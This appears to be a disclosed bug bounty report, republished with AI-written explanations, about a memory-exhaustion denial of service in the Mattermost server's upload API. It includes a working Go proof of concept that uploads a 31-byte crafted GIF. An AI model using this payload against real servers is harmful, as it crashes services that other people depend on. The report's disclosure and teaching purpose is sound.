DOS: out of memory from gif through upload api
A crafted GIF with maximum dimensions sent through the upload API causes the server to allocate over 4 GB of memory, leading to a crash. An attacker could kill the server process by uploading such a file.
Originally disclosed on HackerOne
- Triaged in 5 days
- Fixed in 49 days
- Paid in 11 days
- Disclosed after 3 months
Summary:
When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM
Steps To Reproduce:
[add details for how we can reproduce the issue]
- Run
docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview -m=4Gas documented https://docs.mattermost.com/guides/deployment.html with 4G limit from https://docs.mattermost.com/install/software-hardware-requirements.html#hardware-requirements-for-team-deployments - Get one channel id
- Run this simple POC below with a valid channel id
- Docker container gets killed
package main
import (
"bytes"
"fmt"
"github.com/mattermost/mattermost-server/v5/model"
)
func main() {
Client := model.NewAPIv4Client("http://localhost:8065/")
Client.Login("toto", "tototo")
us := &model.UploadSession{
ChannelId: "5dtj9hf89ifap8imigbzjc7wjo",
Filename: "oom.gif",
FileSize: 31,
}
us, response := Client.CreateUpload(us)
fmt.Printf("lol %s %#+v\n", us, response)
data := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf, 0x18, 0x18, 0x2c, 0x7f, 0x20, 0x0, 0x0, 0x0, 0xa0, 0xff, 0xff, 0xff, 0xd4, 0x9a, 0xf0, 0xb4, 0x8, 0x35, 0x4, 0x0}
info, err2 := Client.UploadData(us.Id, bytes.NewReader(data))
fmt.Printf("lol %s %#+v\n", err2, info)
}
This happens with gif.DecodeAll being called by GetInfoForBytes getting called by App.UploadData being called by doUploadData being called by uploadData without any call to preprocessImage as is done in the api/v4/files route
Docker container gets killed
Impact
Crash a server
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the upload API calls gif.DecodeAll without first checking or limiting the image dimensions, unlike the regular file upload route which calls preprocessImage.
Impact
An attacker could crash the server by uploading a specially crafted GIF, causing a denial of service.
What the attacker needed
Valid user account; access to upload API; valid channel ID
How it was found
- Run the Mattermost preview Docker container with a 4 GB memory limit.
- Obtain a valid channel ID.
- Use the provided Go proof-of-concept to log in, create an upload session, and upload a crafted GIF.
- The Docker container is killed due to out-of-memory.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A GIF file can be made with huge dimensions, and when the server tries to read it, it uses a lot of memory. If the server runs out of memory, it crashes. This report shows that an attacker can upload such a file to crash the server.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.